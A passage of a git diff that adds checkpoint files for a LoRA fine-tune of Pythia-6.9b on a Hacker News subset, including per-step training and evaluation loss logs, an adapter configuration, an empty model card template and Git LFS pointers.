+ "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.34006103212032e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..cfe31680ba6f3e604304c48e6820f7cedbfe8656 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b5ed09bc29bd79918a3f529f983ca86c6b5945ce5f352bffa8c28fc5b86af267 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..53619c0f10a62ff66b1d11b2aaac68914bf6acf9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5b7e283db1b71492614e007bf53ab1f62399bd4b45597cdd4298a748cd375f77 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..6f12baaba3ec135e726e0b75dc20ee8cfe8a995d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:55a6ddc6425602c9554969e2910a1ee66847f95ab8fd86352843e16c6530b2c0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..df177b9452bbc35cb78b91089f310520fe740b94 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3aa3352ae201120fa831c764f5b07fe3f9aa427e68763e4c88ed9af407727f22 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e843dd766300b93e2d08f8ef425fa63f10f2547e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/trainer_state.json @@ -0,0 +1,903 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.733333333333333, + "eval_steps": 10, + "global_step": 580, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 